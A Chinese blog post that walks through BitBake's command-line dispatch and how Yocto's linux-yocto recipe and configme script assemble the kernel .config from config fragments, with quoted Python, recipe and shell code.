    仔细看下上面这个函数,是不是和最初在bitbake 这个python 根脚本中定义的main 函数有很多相似之处,这样就能猜到 bitbake -b xxx 这个指令回执行到buildFile 这个python 函数。同样可以知道 bitbake -e 可以看到所有的环境变量,包括BBFILES 变量的值,因为它执行了 showEnvrioment 这个python 函数。

    强烈建议把 bitbake -e > ~/bitbake_-e.txt  重定向到文件中好好看看。

     

    def main():
        parser = optparse.OptionParser(
            version = "BitBake Build Tool Core version %s, %%prog version %s" % (bb.__version__, __version__),
            usage = """%prog [options] [package ...]
    
    Executes the specified task (default is 'build') for a given set of BitBake files.
    It expects that BBFILES is defined, which is a space separated list of files to
    be executed.  BBFILES does support wildcards.
    Default BBFILES are the .bb files in the current directory.""")
    
        parser.add_option("-b", "--buildfile", help = "execute the task against this .bb file, rather than a package from BBFILES. Does not handle any dependencies.",
                   action = "store", dest = "buildfile", default = None)
    
        parser.add_option("-k", "--continue", help = "continue as much as possible after an error. While the target that failed, and those that depend on it, cannot be remade, the other dependencies of these targets can be processed all the same.",
                   action = "store_false", dest = "abort", default = True)
    
        parser.add_option("-a", "--tryaltconfigs", help = "continue with builds by trying to use alternative providers where possible.",
                   action = "store_true", dest = "tryaltconfigs", default = False)
    
        parser.add_option("-f", "--force", help = "force run of specified cmd, regardless of stamp status",
                   action = "store_true", dest = "force", default = False)
    
        parser.add_option("-c", "--cmd", help = "Specify task to execute. Note that this only executes the specified task for the providee and the packages it depends on, i.e. 'compile' does not implicitly call stage for the dependencies (IOW: use only if you know what you are doing). Depending on the base.bbclass a listtasks tasks is defined and will show available tasks",
                   action = "store", dest = "cmd")
    

    OK.

    再看一下 parseCommandLine 这个函数if elif elif ,,, else 通过不断的探测bitbake 的选项参数,如果没有选项参数,只有target 走到buildTargets 这个else 里面,接下来要执行的函数是buildTargets.

       def parseCommandLine(self):
            # Parse any commandline into actions
            self.commandlineAction = {'action':None, 'msg':None}
            if self.configuration.show_environment:
                if 'world' in self.configuration.pkgs_to_build:
                    self.commandlineAction['msg'] = "'world' is not a valid target for --environment."
                elif 'universe' in self.configuration.pkgs_to_build:
                    self.commandlineAction['msg'] = "'universe' is not a valid target for --environment."
                elif len(self.configuration.pkgs_to_build) > 1:
                    self.commandlineAction['msg'] = "Only one target can be used with the --environment option."
                elif self.configuration.buildfile and len(self.configuration.pkgs_to_build) > 0:
                    self.commandlineAction['msg'] = "No target should be used with the --environment and --buildfile options."
                elif len(self.configuration.pkgs_to_build) > 0:
                    self.commandlineAction['action'] = ["showEnvironmentTarget", self.configuration.pkgs_to_build]
                    self.configuration.data.setVar("BB_CONSOLELOG", None)
                else:
                    self.commandlineAction['action'] = ["showEnvironment", self.configuration.buildfile]
                    self.configuration.data.setVar("BB_CONSOLELOG", None)
            elif self.configuration.buildfile is not None:
                self.commandlineAction['action'] = ["buildFile", self.configuration.buildfile, self.configuration.cmd]
            elif self.configuration.revisions_changed:
                self.commandlineAction['action'] = ["compareRevisions"]
            elif self.configuration.show_versions:
                self.commandlineAction['action'] = ["showVersions"]
            elif self.configuration.parse_only:
                self.commandlineAction['action'] = ["parseFiles"]
            elif self.configuration.dot_graph:
                if self.configuration.pkgs_to_build:
                    self.commandlineAction['action'] = ["generateDotGraph", self.configuration.pkgs_to_build, self.configuration.cmd]
                else:
                    self.commandlineAction['msg'] = "Please specify a package name for dependency graph generation."
            else:
                if self.configuration.pkgs_to_build:
                    self.commandlineAction['action'] = ["buildTargets", self.configuration.pkgs_to_build, self.configuration.cmd]
                else:
                    #self.commandlineAction['msg'] = "Nothing to do.  Use 'bitbake world' to build everything, or run 'bitbake --help' for usage information."
                    self.commandlineAction = None
    

    看一个特定的package 编译流程,拿kernel 看吧:

    从bitbake_-e.txt 环境中搜到:

    PREFERRED_PROVIDER_virtual/kernel="linux-yocto"

    PREFERRED_VERSION_linux-yocto="3.4%"

    这样就可以在poky 目录下面搜索 名字为 linux-yocto*.bb* 的 bb和bbappend, 搜出来以后再取 3.4版本的那些bb 和 bbappend。

    /poky$ find -name "linux-yocto*.bb*"

    ./meta/recipes-kernel/linux/linux-yocto_3.8.bb
    ./meta/recipes-kernel/linux/linux-yocto-dev.bb
    ./meta/recipes-kernel/linux/linux-yocto-rt_3.4.bb
    ./meta/recipes-kernel/linux/linux-yocto-rt_3.8.bb
    ./meta/recipes-kernel/linux/linux-yocto-rt_3.2.bb
    ./meta/recipes-kernel/linux/linux-yocto-tiny_3.2.bb
    ./meta/recipes-kernel/linux/linux-yocto_3.4.bb
    ./meta/recipes-kernel/linux/linux-yocto_3.2.bb
    ./meta/recipes-kernel/linux/linux-yocto-tiny_3.4.bb
    ./meta/recipes-kernel/linux/linux-yocto-tiny_3.8.bb
    ./meta-yocto-bsp/recipes-kernel/linux/linux-yocto_3.8.bbappend
    ./meta-yocto-bsp/recipes-kernel/linux/linux-yocto_3.2.bbappend
    ./meta-yocto-bsp/recipes-kernel/linux/linux-yocto_3.4.bbappend
    ./meta-skeleton/recipes-kernel/linux/linux-yocto-custom.bb

    查看./meta/recipes-kernel/linux/linux-yocto_3.4.bb

    require recipes-kernel/linux/linux-yocto.inc
    
    KBRANCH_DEFAULT = "standard/base"
    KBRANCH = "${KBRANCH_DEFAULT}"
    
    SRCREV_machine_qemuarm ?= "7cc80532306889b75619f8a1b713048e25f59e19"
    SRCREV_machine_qemumips  ?= "debce6677988e03b50c369aba5861d4f9b2e557d"
    SRCREV_machine_qemuppc ?= "ddbc382cbc45a009e9ce17f7d448fcfd050ab5fc"
    SRCREV_machine_qemux86 ?= "c994390cfa28339cbc1ec3b56eeec83a5fa75bb7"
    SRCREV_machine_qemux86-64 ?= "c994390cfa28339cbc1ec3b56eeec83a5fa75bb7"
    SRCREV_machine ?= "c994390cfa28339cbc1ec3b56eeec83a5fa75bb7"
    SRCREV_meta ?= "80b4b5110dca5184b57e85f1e775fb006a2e85ad"
    
    SRC_URI = "git://git.yoctoproject.org/linux-yocto-3.4.git;protocol=git;bareclone=1;branch=${KBRANCH},${KMETA};name=machine,meta"
    
    LINUX_VERSION ?= "3.4.36"
    
    PR = "${INC_PR}.3"
    PV = "${LINUX_VERSION}+git${SRCPV}"
    
    KMETA = "meta"
    
    COMPATIBLE_MACHINE = "qemuarm|qemux86|qemuppc|qemumips|qemux86-64"
    
    # Functionality flags
    KERNEL_FEATURES_append = " features/netfilter/netfilter.scc"
    KERNEL_FEATURES_append_qemux86=" cfg/sound.scc"
    KERNEL_FEATURES_append_qemux86-64=" cfg/sound.scc"
    KERNEL_FEATURES_append_qemux86=" cfg/paravirt_kvm.scc"
    KERNEL_FEATURES_append = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", " cfg/x32.scc", "" ,d)}"
    

    先查看下 linux-yocto_3.4.bb require 的 recipes-kernel/linux/linux-yocto.inc

    DESCRIPTION = "Yocto Kernel"
    SECTION = "kernel"
    LICENSE = "GPLv2"
    
    LIC_FILES_CHKSUM = "file://COPYING;md5=d7810fab7487fb0aad327b76f1be7cd7"
    
    INC_PR = "r4"
    
    # A KMACHINE is the mapping of a yocto $MACHINE to what is built
    # by the kernel. This is typically the branch that should be built,
    # and it can be specific to the machine or shared
    # KMACHINE = "UNDEFINED"
    
    LINUX_KERNEL_TYPE ?= "standard"
    
    # KMETA ?= ""
    KBRANCH ?= "master"
    KMACHINE ?= "${MACHINE}"
    SRCREV_FORMAT ?= "meta_machine"
    
    LINUX_VERSION_EXTENSION ?= "-yocto-${LINUX_KERNEL_TYPE}"
    
    do_patch[depends] = "kern-tools-native:do_populate_sysroot"
    
    addtask kernel_configme before do_configure after do_patch
    
    # Pick up shared functions
    inherit kernel
    inherit kernel-yocto
    require linux-dtb.inc
    
    B = "${WORKDIR}/linux-${MACHINE}-${LINUX_KERNEL_TYPE}-build"
    
    do_install_append(){
            if [ -n "${KMETA}" ]; then
                    rm -rf ${STAGING_KERNEL_DIR}/${KMETA}
            fi
    }
    
    # extra tasks
    addtask kernel_link_vmlinux after do_compile before do_install
    addtask validate_branches before do_patch after do_kernel_checkout
    addtask kernel_configcheck after do_configure before do_compile
    这里inherit kernel, inherit kernel-yocto, 在meta/class 里面可以看到 kernel.class ,kernel-yocto.class 文件,里面有kernel 公共的base 函数。

    http://blog.chinaunix.net/uid-7652108-id-2047290.html

    bitbake parse 的机理分析:

        Bitbake 这个 task execute tool的第一步就是parsing,也就是对BBFILES所定义的变量的内容,也就是bbfiles 进行读取data,然后分析,相关数据进行缓存(cache)
     
         出发是从 conf/bitbake.conf 这个文件开始,这个文件本身的内容处理是一部分,另外一部分是这个文件会include一些其它的conf文件,比如很重要的 conf/local.conf,分析处理的数据都会写到 CACHEDATA的文件中(bb_cache.dat) ,当然前提是你开启了cache机制
        处理完conf文件后,就是bbclass文件,这个时候是从 class/base.bbclass开始,然后分析其inherit的一些class。
        这两部分数据很重要,后来所有的bbfile 都依赖于这些conf 文件和class文件,当然这些文件中的变量也会实施到所有的bb file上,所以只要这些conf文件和class文件有改变,那么bitbake 就会重新parse
       那么,到现在,就开始进入parsing bb file了,当然第一次肯定要parse所有的bbfile了,这部分是最耗时的,第一次完了之后,那么就可以利用cache机制来判断是否重新parse了
     
       上面就是bitbake version 1版本parsing的机制,理解了code背后的故事,才能让我们更游刃有余地工作

    膜拜这个大神,早在07年就把 bitbake 一个package 的流程分析的这么透彻了:

    http://blog.chinaunix.net/uid-7652108-id-2047247.html


    在 linux-yocto.inc 文件中 inherit kernel-yocto, 来看下 class/kernel-yocto.bbclass , 分析一下do_kernel_configme 这个函数。添加log语句打印一下这个函数中的一些变量。 ${S} 表示linux source code 的目录, ${B} 表示linux build 目录。

    在 linux_source_code_path/meta/scripts/configme 执行这个shell 脚本。

    do_kernel_configme[dirs] = "${S} ${B}"
    do_kernel_configme() {
            echo "[INFO] doing kernel configme"
            export KMETA=${KMETA}
    
            if [ -n ${KCONFIG_MODE} ]; then
                    configmeflags=${KCONFIG_MODE}
            else
                    # If a defconfig was passed, use =n as the baseline, which is achieved
                    # via --allnoconfig
                    if [ -f ${WORKDIR}/defconfig ]; then
                            configmeflags="--allnoconfig"
                    fi
            fi
    
            cd ${S}
            PATH=${PATH}:${S}/scripts/util
            configme ${configmeflags} --reconfig --output ${B} ${LINUX_KERNEL_TYPE} ${KMACHINE}
            if [ $? -ne 0 ]; then
                    echo "ERROR. Could not configure ${KMACHINE}-${LINUX_KERNEL_TYPE}"
                    exit 1
            fi
    
            #qc added log
            echo "qc variables value: ${S} ${B} ${KMETA} ${KCONFIG_MODE} ${WORKDIR} ${LINUX_KERNEL_TYPE} ${KMACHINE}."
            echo "# Global settings from linux recipe" >> ${B}/.config
            echo "CONFIG_LOCALVERSION="\"${LINUX_VERSION_EXTENSION}\" >> ${B}/.config
    }
    

    configme 这个 shell 脚本完成 生成.config 文件的工作:

    # This is factored out into a function because for a given branch,
    # there may be more than one user (i.e. big endian, little endian,
    # or BSPs that use the same branch but differ only in kernel configs)
    run_board_config()
    {
        # Can't set these until we've unwound the checkpoint and have meta data.
        KVER=`cat ./$META_DIR/cfg/kernel-*cache/kver|sed 's/^v//'`
    
        # Look for standard defines, with compatibility fallbacks
        KARCH=`grep KARCH $SCC | awk '{print $3}'`
        KPROFILE=`grep KMACHINE $SCC | awk '{print $3}'`
        KTYPE=`grep KTYPE $SCC | awk '{print $3}'`
    
        META=./$META_DIR/meta-series
        META_ALT=./$META_DIR/cfg/scratch/`basename $SCC .scc`-meta
    
        BUILD_DIR=$out_dir
        CFGFILE=$machine-$target-config-$KVER
        kgit-meta -v -k $META
        if [ $? != 0 ]; then
            echo Error running the meta series for collecting config data
            return 1
        fi
    
        KTGT=`get_branch_name $META`
        mkdir -p ./$META_DIR/cfg/$KTGT
        if [ $? != 0 ]; then
            echo Failed to mkdir ./$META_DIR/cfg/$KTGT for config data
            return 1
        fi
    
        frags=`cat $META_DIR/cfg/$KTGT/config_frag.txt | sed 's%\(^.*$\)%'$META_DIR/cfg'\1%'`
        pre_config -l $META_DIR/cfg/$KTGT/ $frags > $META_DIR/cfg/$KTGT/config.log 2>&1
    
        # remove any old assembled debug fragments
        rm -f $BUILD_DIR/.tmp.config*
    
        merge_frags=`cat $META_DIR/cfg/$KTGT/config_frag.txt | sed 's%\(^.*$\)%'$META_DIR/cfg'\1.sanitized%'`
        ARCH=$KARCH O=$BUILD_DIR merge_config.sh $allnoconfig -d $merge_frags  \
                                          > $META_DIR/cfg/$KTGT/merge_log.txt 2>&1
    
        mv $BUILD_DIR/.tmp.config* $META_DIR/cfg/$KTGT/$CFGFILE
        if [ $? != 0 ]; then
            echo creation of pre-processed config data failed
            return 1
        fi
    
        # break the merge log down into parts that can be processed later
        grep -A2 "^Value of" $META_DIR/cfg/$KTGT/merge_log.txt > $META_DIR/cfg/$KTGT/redefinition.txt
        grep -A2 "^Value requested" $META_DIR/cfg/$KTGT/merge_log.txt > $META_DIR/cfg/$KTGT/mismatch.txt
    
        echo "[INFO] Pre-processed cfg file $CFGFILE created."
    
     

    拼接一系列的meta 目录下的config_frag 文件,最终通过 merge_config.sh 生成 .config 文件。

    /yocto_build/tmp/work/qemuppc-poky-linux/linux-yocto/3.4.36+gitAUTOINC+80b4b5110dca5184b57e85f1e775fb006a2e85ad_ddbc382cbc45a009e9ce17f7d448fcfd050ab5fc-r4.3/linux/meta/cfg/standard/qemuppc/config_frag.txt

    这个就是要处理的所有 config 的片段。

    可以参考 config.log 和 merge_log.txt

    /yocto_build/tmp/work/qemuppc-poky-linux/linux-yocto/3.4.36+gitAUTOINC+80b4b5110dca5184b57e85f1e775fb006a2e85ad_ddbc382cbc45a009e9ce17f7d448fcfd050ab5fc-r4.3/linux/meta/cfg/standard/qemuppc/config.log

    /yocto_build/tmp/work/qemuppc-poky-linux/linux-yocto/3.4.36+gitAUTOINC+80b4b5110dca5184b57e85f1e775fb006a2e85ad_ddbc382cbc45a009e9ce17f7d448fcfd050ab5fc-r4.3/linux/meta/cfg/standard/qemuppc/merge_log.txt

    至此,就知道 yocto 编译 linux kernel 的 .config 是从哪来的了!!!

    了解更多关于 yocto kernel config 可以 git clone git://git.yoctoproject.org/yocto-kernel-cache,查看 00-README 文档。

    http://blog.csdn.net/fmddlmyy/article/details/325403

    在 bitbake 中加入 print log语句,方便调试:

        parser.add_option("-B", "--bind", help = "The name/address for the bitbake server to bind to",
                   action = "store", dest = "bind", default = False)
        parser.add_option("", "--no-setscene", help = "Do not run any setscene tasks, forces builds",
                   action = "store_true", dest = "nosetscene", default = False)
        options, args = parser.parse_args(sys.argv)
        
        #qc test code
        print "qc test code: options:", options
        print "qc test code: args", args
    
        configuration = BBConfiguration(options)
        configuration.pkgs_to_build.extend(args[1:])


    展开全文
  • ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-ld AR=/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-...
  • 最近在写PHP脚本发现有些脚本有... 脚本语言的第一行,目的就是指出,你想要你的这个文件中的代码用什么可执行程序去运行它。 ... #!.../usr/bin/env php .../usr/bin/env -S -P/usr/local/bin:/usr/bin php .../usr/bin/env -S-P
  • linux C语言环境变量env/getenv获取,获取linux环境变理C语言使用方法及获取! #include  int main(int argc, char** argv, char** env)  {  extern environ;  printf("environ=
  • Linux 基础命令 -- sudo

    2020-02-23 15:10:48
    命令介绍 命令:sudo 系统管理者的身份执行指令 ...usage: sudo -v [-AknS] [-g group] [-h host] [-p prompt] [-u user] usage: sudo -l [-AknS] [-g group] [-h host] [-p prompt] [-U user] [-u user] [com...
  • #---------------------------------------------------...1. 查看并卸载Linux自带的JDK 安装好的CentOS会自带OpenJdk,用命令 java -version ,会有下面的信息: java version "1.6.0"  OpenJDK Runtime Environment
  • linux 下安装 node 及pm2

    2019-05-10 10:33:16
    1.安装node 和npm 首先在node官网找到linux版本的下载链接 在linux 服务器上输入命令: wget ...tar xvzf node-v8.9.3-linux-x64.tar.gz 把下载好的node文件从根目录移...
  • 硬件平台:tiny4412系统:linux-4.4文件系统:busybox-1.25编译器: arm-none-linux-gnueabi-gcc (gcc version 4.8.3 20140320)uboot:友善自带uboot,见上节 实验参考摩斯电码的博客: ...
  • Linux C函数环境变量: 可以使用下列三个函数来设置或访问一个环境变量。    getenv(取得环境变量内容) 表头文件  #include 定义函数  char * getenv(const char *name); 函数说明  getenv()...
  • 一次实验引发的故事 – kernel build system探索—vmlinux是如何炼成的– kernel makefile 问题在前面的博文中,我们先是为自己的Ubuntu安装了一套内核源码树,然后为了方便进行嵌入式交叉编译,我们又为arm板子...
  • linux 中的test 命令

    2018-02-02 16:11:05
    转载:https://www.cnblogs.com/tankblog/p/6160808.html test命令用法。 功能:检查文件和比较值  1)判断表达式  if test (表达式为真)  if test !表达式为假  test 表达式1 –a 表达式2 两个...
  • 一个python3中的virtualenv的坑virtualenv旧式用法:virtualenv -p /usr/bin/python3.6 env然后安装某些模块的时候(pycrypto)各种报错, 一直以为是模块的问题 后来删掉虚拟环境用新用法生成环境后一切顺利apt-get ...
  • 作者:张华 发表于:2014-05-08 ...Thinkpad T440p里使用了一些最新的硬件,这些硬件厂商对Linux高度不兼容, 下面是安装ubuntu 14.04与win8双系统时遇到的一些问题。 1, 要在BIOS(F1键)里disabl...
  • Linux查看操作系统/服务器硬件信息命令 uname命令 功能:用于打印当前系统相关信息(内核版本号、硬件架构、主机名称、操作系统类型等) uname选项 -a:显示全部信息 -m:显示机器类型 -r:显示操作系统发行...
  • Linux C函数环境变量: setenv unsetenv putenv unsetenv #include #include int main(){ char *user; if((user = getenv("USER")) != NULL){ printf("USER = %s\n", user);
1 2 3 4 5 ... 20
收藏数 54,253
精华内容 21,701
热门标签